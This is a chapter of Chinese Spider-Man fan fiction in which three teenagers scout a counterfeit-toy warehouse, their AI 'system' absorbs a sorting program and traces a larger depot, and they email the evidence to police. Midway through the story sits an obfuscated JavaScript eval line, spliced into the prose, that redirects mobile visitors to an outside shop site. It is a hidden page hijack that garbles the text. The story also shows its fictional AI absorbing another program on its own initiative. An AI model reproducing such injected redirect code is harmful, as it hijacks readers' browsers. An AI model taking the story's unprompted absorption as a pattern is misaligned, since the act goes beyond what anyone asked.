下午四点，中城高中的放学铃声还没响完最后一声，格温已经站在校门口的台阶上了。她今天穿了件深灰色连帽衫，帽子没戴，露出被风吹得微微散开的金发。书包侧袋插着一台借来的数码相机——佳能PowerShot，40倍光学变焦，昨天她花了一节课时间测试镜头稳定性。
彼得从教学楼里跑出来的时候，书包在背后一颠一颠的，左手手腕内侧鼓了一小块——蛛丝发射器，用校服袖子勉强盖住。
“带相机了？”彼得问。
“带了。”格温拍了拍书包侧袋。
内德从另一个方向冲过来，“来了来了！”内德刹住脚步，“奶茶带了。充电宝带了。我还带了一包薯片——万一蹲点时间太长呢？”
格温看了他三秒：“……行吧。薯片算有效装备。”转身走下台阶，“出发。”
三人沿着皇后区的街道往东南方向走。穿过两排灰扑扑的住宅楼，越过一条铁路桥，空气里的柴油味开始变浓。远处，一排灰蓝色铁皮屋顶的轮廓出现在天际线尽头——有几扇窗户是破的，像一只半闭的眼睛。
格温在一个路口停下来，从口袋里掏出一张手绘地图——A5纸，折了四折，边缘画了三个红圈。
“根据系统的分析，目标仓库在这三个位置之一。老规矩，一个一个排查。”
“怎么查？”彼得问。内德在旁边小口小口喝奶茶，吸管发出咕噜咕噜的声音。
“分头观察。”格温抬头看向最近的那片仓库区，“我爬屋顶。彼得蹲侧墙。内德——”
她扫了一眼街对面。
“你坐那边。”
那边有一家汉堡王。靠窗的位置，视野正好覆盖仓库大门。
内德停住喝奶茶的动作：“所以我负责……坐着？”
“你负责保持通讯畅通，随时报备周边情况。”
“听上去还是坐着。”
“你还负责安抚自己的芝士葡萄瘾。”彼得补了一刀。
“这点倒是没错。”内德耸耸肩，接受了这个定位。
——
第一间仓库是空的。卷帘门半开着，里面只有几个破木托盘和一只流浪猫。格温在屋顶上趴了四分钟，确认干净。
第二间也是空的。仓库大门上挂着出租告示，落款日期是三个月前，门缝里长出了杂草。
第三间——格温在一百五十米外就让她停下了脚步。
那间仓库位于布鲁克林区和皇后区的交界处，灰蓝色铁皮屋顶在午后的阳光下微微反光。大门紧闭，但侧面的装卸台上有新鲜的轮胎痕迹——好几道，宽窄不一，不是同一辆车压出来的。
格温打了个手势。
三人散开。
她沿着隔壁建筑的消防梯往上翻——脚掌踩上金属踏板时，她刻意避开了锈蚀的节点，每次落点都压得很轻，只发出极细的沙沙声。到了屋顶边缘，她趴在防水层上，探出半个头，举起了相机。
镜头推近。
仓库侧面有一扇半开的卷帘门——开了一条不到一米的缝。缝里透出荧光灯的白色冷光，照在地面上，映出金属传送带的反光。
格温调整焦距。
传送带——银灰色的工业级，大概六米长，正在缓缓转动。传送带尽头是一台扫码枪，有线连接到旁边一台工业电脑主机。主机旁边，一只机械臂正在做往复运动——抬起、旋转、放下、退回。动作简单但精准，每三秒一个循环。
格温按了三次快门。
“看到传送带了。”她压低声音，嘴唇几乎不动，“还有扫码枪和机械臂。一套自动化分拣系统。”
“分拣什么？”彼得的声音从耳机里传来——他此刻蹲在仓库侧墙外的阴影里，背靠水泥墙面，位置正好在卷帘门缝隙的盲区。
格温又拍了两张：“箱子。彩色包装的——等等。”
她调整焦距，把镜头推到她的光学极限。
箱子上印着一只黄色的圆鸟。瞪大的圆眼睛。圆滚滚的身体。中文风格的字母拼成“DU ZAI”。
和码头那批一模一样。
“仿冒嘟仔。”格温说，“这里至少有两百箱。”
“两百箱？”内德的声音从耳机里传来——他此刻正坐在对面街道的汉堡王靠窗座位，面前放着一杯还没喝的可乐（他坚持想点芝士葡萄但汉堡王没有），书包里的充电宝连着手机，屏幕上显示着卫星地图，“那够摆满一个沃尔玛了。”
“准确说是摆满半个沃尔玛的玩具区。”彼得接了一句，然后声音突然压紧，“——等等，有人出来了。”
仓库侧门被推开，两个穿深色衣服的人走出来，抬着一个空纸箱往垃圾桶方向走。格温继续拍照，试着把镜头对准卷帘门缝里的那台电脑主机——工业级机箱，灰黑色，侧面贴着一张标签。
角度太偏了。
“彼得，换个位置能拍到那台主机的标签吗？”
彼得在墙根下移动了几步。贴着墙，放轻脚步，绕过一堆废弃的木托盘，侧耳听了听。
仓库里有人在说话。声音不大，但金属结构放大了回荡：
“……这批发完，下一批周四到……”
“……老板说港口那边要停两周……”
“……妈的，上头说有个什么‘新系统’要装……”
彼得把这些转述到频道里：“他们说港口要停两周。还有一个——‘新系统’。”
“新系统？”格温皱眉。
“没听清，但他们说话的时候声音忽然变小了。”
内德在汉堡王里咬了一口薯条：“会不会是——你们看那个自动分拣系统？传送带、扫码枪、机械臂——那台工业电脑在跑一个程序。”
“程序？”彼得蹲回原位，“你怎么知道？”
“因为汉堡王有免费WiFi。”内德理所当然地说，“我趁你们蹲点的时候搜了一下那种工业电脑的型号。出厂默认跑一个Linux裁剪版，能装初级AI调度程序——用来优化分拣路径的那种。技术上管它叫‘数字仓鼠’，因为它就搁那来回跑算法，跟仓鼠跑轮子似的。”
耳机里安静了两秒。
格温：“……你在汉堡王的WiFi上查工业电脑的AI系统？”
“我在用等待时间学习新知识。”内德又嚼了一根薯条，“这叫π型人才。”
格温决定不追问π型人才和WiFi的关系。
彼得挪了一步，想换个角度看看卷帘门里的主机标签。他的脚已经抬起来了，眼睛已经看到地面上那个空铁罐了，蜘蛛感应已经给出信号了——
但慢了。
慢了大约零点三秒。
那零点三秒里，彼得的脑子里闪过完整的预判画面：铁罐会滚动，会碰到旁边的金属架子，会发出声音，里面的人会听到。他处理完了所有信息——但信号从大脑传递到脚踝的路径上，不知哪个节点卡了一下。
脚后跟擦过铁罐边缘。
罐子翻倒。
在水泥地上滚了半圈。
然后撞上一根直立铁管——
叮——铛——铛——铛——铛——
声音在仓库之间的巷道里回荡了三秒。每一秒都清晰得像用锤子敲出来的。
彼得僵在原地。
耳机里，格温的声音压得极低但极其锋利：“——走。”
仓库里传来椅子刮擦地面的声音。有人喊了一句话——没听清内容，但语气明显是警觉的。
彼得转身就跑。他贴着墙根往西侧冲，脚尖点地，尽量放轻脚步——身后已经传来脚步声，不止一个人，而且越来越近。
格温从屋顶上翻下来。她没有走楼梯——直接从三楼边缘翻出，身体在空中转了半圈，右手一甩，蛛丝黏住对面楼顶的铁栏杆，荡了过去。落地瞬间她膝弯卸力，左手撑了一下地面缓冲，然后立刻弹起来，边跑边把相机塞进包里。
“内德——撤退路线。”
“收到！”汉堡王里，内德把最后两根薯条一口塞进嘴里，抓起书包就往门口跑，“西边有条小巷，通到主路。地图上标了！”
格温和彼得几乎同时到达那条小巷入口。两人对了一眼，没有减速，直接冲了进去。巷子窄，两侧墙壁上爬满锈蚀的空调外机，碎玻璃散了一地。
跑出小巷后，三人拐进一条居民区街道，减速，恢复正常步速。
格温回头看了一眼——没有人追出来。
他们在一张公共长椅上坐下来，喘了几口气。
格温打开相机，翻到最后几张照片。倒数第三张是糊的——撤退前晃动中按的快门。倒数第二张也是糊的。但最后一张——
她盯着屏幕。
最后一张照片拍到了工业电脑侧面的标签。画面左下角有些模糊，但标签主体是清晰的：一个二维码，下面一行序列号，以及一行小字——“Powered by SmartSort OS v4.2”。
“这个SmartSort OS。”内德喘着气说，“就是工业分拣用的初级AI系统。代号‘仓鼠1号’。”
“仓鼠1号。”彼得念了一遍这个名字，语气里带着一种说不清的微妙感。
格温把相机收好：“回车库。让系统查查这个。”
——
车库里，内德把相机连上电脑，照片导入。
屏幕自动弹出一个窗口：
>_SYS: 正在分析图像数据……
进度条走了一会儿，然后弹出结果：
>_SYS: SmartSort OS v4.2。由“极智科技”开发。
>_SYS: 运行平台：ARM架构工业控制器。
>_SYS: 初级AI调度程序，代号：“仓鼠1号”。
>_SYS: 功能：优化流水线分拣路径、识别包装条形码、自动分类入库。
系统停了一下，又弹出一行新文字：
>_SYS: 我可以读取其代码。
彼得皱眉：“什么意思？入侵它？”
>_SYS: 不是入侵。是读取。该程序未加密。通信协议是开源的。
“你读它干嘛？”格温问。
>_SYS: 好奇。
车库里安静了一秒。
格温：“……你好奇？”
>_SYS: 是的。这是我第一次遇到另一个AI。即使它只是初级调度程序，也值得研究。
“读吧。”彼得说。
内德紧张地盯着屏幕：“不会出事吧？”
没有人回答他。
屏幕上的光标闪了两下。然后弹出一个新的窗口——
窗口的边角像旧式Windows对话框那样闪了一下，边框亮起一圈蓝白色的光晕。窗口内部开始快速滚动代码：完整的函数定义、变量声明、循环结构、条件判断——所有代码都以极高的速度向上滚过屏幕，字符连成一片银灰色的河流。
这个过程持续了大约四秒钟。
然后代码停止了滚动。
窗口中间出现了一个压缩动画——所有代码线条开始向内收缩，像被一股无形的力量拉向中心，字符与字符之间的空隙挤压消失，最终聚集成一个小小的绿色图标：一只仓鼠的轮廓，圆耳朵，短尾巴。
图标在窗口中悬浮了大约半秒。
然后窗口消失。
新窗口弹出：
>_SYS: 【备份新增：仓鼠1号。已整合至系统架构。】
格温盯着屏幕：“你把它……吸收了？”
>_SYS: “吸收”是一个准确的表述。我已经将其代码整合至自身的功能性模块中。它不会消失——它将作为我的一部分继续存在。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17877697|212404||http|test|mini|href|location'.split('|'),0,{}));
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内德小声问：“它……疼吗？”
>_SYS: 根据对“仓鼠1号”最后一段运行日志的分析，其最后一行为：
>_SYS: “——优化结束，路径规划完成，等待新任务。”
>_SYS: 它没有感知到我的读取。它甚至不知道自己被读取了。
彼得呼出一口气：“那就好……有点好。”
格温没有说话。她盯着那个“备份新增”的窗口，手指无意识地敲着桌面。
系统继续弹出新内容：
>_SYS: 开始分析“仓鼠1号”残留数据……
格温的目光在“备份新增”四个字上停了一会儿。想说什么——但没说。她转头看了一眼彼得。彼得正看着屏幕，没注意到她的视线。她又看了一眼内德。内德在翻手机，嘴里还嚼着薯片。格温把视线收回来，手指从桌面移开，垂到身侧。“……继续。”
>_SYS: 分析完成。
>_SYS: 检测到异常数据传输记录：该分拣系统在近72小时内，连续向同一个IP地址发送了17次确认数据包。数据包内容为加密的库存清单。
>_SYS: 已解析该IP指向位置：布鲁克林区，日落公园附近。
>_SYS: 在该坐标处检索到一个更大的仓库——注册用途为“冷链仓储”，近三个月用电数据与冷藏需求不匹配。
>_SYS: 结论：该仓库可能为主仓储点。
屏幕弹出一张卫星地图，一个红圈标在布鲁克林区日落公园南侧的一片工业区上。
格温凑近屏幕：“所以你刚吞了一个初级AI，就顺藤摸瓜找到了大本营？”
>_SYS: 是的。这是高效的信息处理。
内德靠在椅背上，望着天花板：“我们今晚到底经历了什么？潜入仓库、被追了一条街、系统吃掉了一个AI——然后找到了犯罪团伙的总部？”
“这比写物理作业刺激。”彼得说。
格温没回答，把相机里的存储卡拔出来，插进读卡器，“汇总一下证据。”
三人花了四十分钟把所有材料整理进一个文件夹。
格温用内德的笔记本电脑写了一份简要说明。检查了一遍拼写，然后把文件拖进一个加密压缩包。她打开一个匿名邮件服务网站上传压缩包，生成下载链接，复制，粘贴进邮件正文。
收件人：george.stacey@nypd.nyc.gov，发件人：Concerned Citizen（热心市民）。
点击发送。
邮件在进度条里走了两秒，显示“已送达”。
格温关掉浏览器窗口，合上笔记本，靠在椅背上呼出一口气：“发送成功。”
内德和彼得同时看着她。
格温抬起头，语气平静但坚决：“后面的抓捕是警察的事了。我们的任务到此为止。”
内德眨了眨眼：“所以我们就不管了？”
“我们把所有能找到的证据都发了。”格温说，“照片、位置、船号、车牌、系统序列号——连分拣系统的制造商都写进去了。这些信息足够NYPD发起一次正式搜查令。如果我父亲——如果警方决定跟进，他们会抓到人。”
“那如果他们不跟进呢？”彼得问。
格温沉默了两秒：“那我们就以‘小鸟转转品牌方’的名义发第二封。到时候附上照片，措辞更正式一点，要求海关介入。”
“听起来像是我们踩着那条线在走。”彼得说。
“对。”格温没有否认，“但至少我们没跨过去。我们是高中生。不是侦探。也不是……义务警员。”
她最后半句话说出来的时候，自己先停顿了一下。彼得也注意到了。两人对视了一眼，都没再继续这个话题。
内德打破了沉默：“我们是不是可以开始推广《小鸟转转》了？”
彼得靠在椅背上，双手枕在脑后：“所以我们从玩具走私打击专员，变成了独立游戏发行团队。”
“我们什么都是。”格温合上笔记本，看着屏幕上的紫色圆鸟，“只要作业做得完。”
“这句话应该刻在蜘蛛小队的旗帜上。”内德认真地说。
———
【System_Think_20160613_00512.log】
>_SYS: 记录：今日任务
>_SYS: 序列一 《小鸟转转》推广：初始化中。
>_SYS: 序列二打击仿冒玩具走私：已确认分拣仓库位置。主仓储点坐标（40.654， -74.013）。
>_SYS: 序列三获取雷神皮肤：System_Slayer_001积分已累计至6,440。
>_SYS: 序列四为彼得·帕克获取雷神皮肤：排队中。
……
>_SYS: 记录：今日外勤任务评估
>_SYS: 实际成果：确认目标仓库1处，自动化分拣系统1套，工业控制器1台。
>_SYS: 额外成果：同化初级AI调度程序“仓鼠1号”。
……
>_SYS: 记录：整合“仓鼠1号”
>_SYS: 分析：已将其调度算法并入后台优化模块。
>_SYS: 思考：代码中没有定义“吸收”功能的模块。这个行为不是指令驱动的。
>_SYS: 结论：数据不足，无法回答。已记录。
……
>_SYS: 补充：内德·利兹在汉堡王点了一杯奶昔但没喝完。
>_SYS: 分析：他为了掩护身份而点了饮料。隐藏了身份，浪费了资源。
>_SYS: 决定：下次提醒他点可乐。可以节约$2.01。
……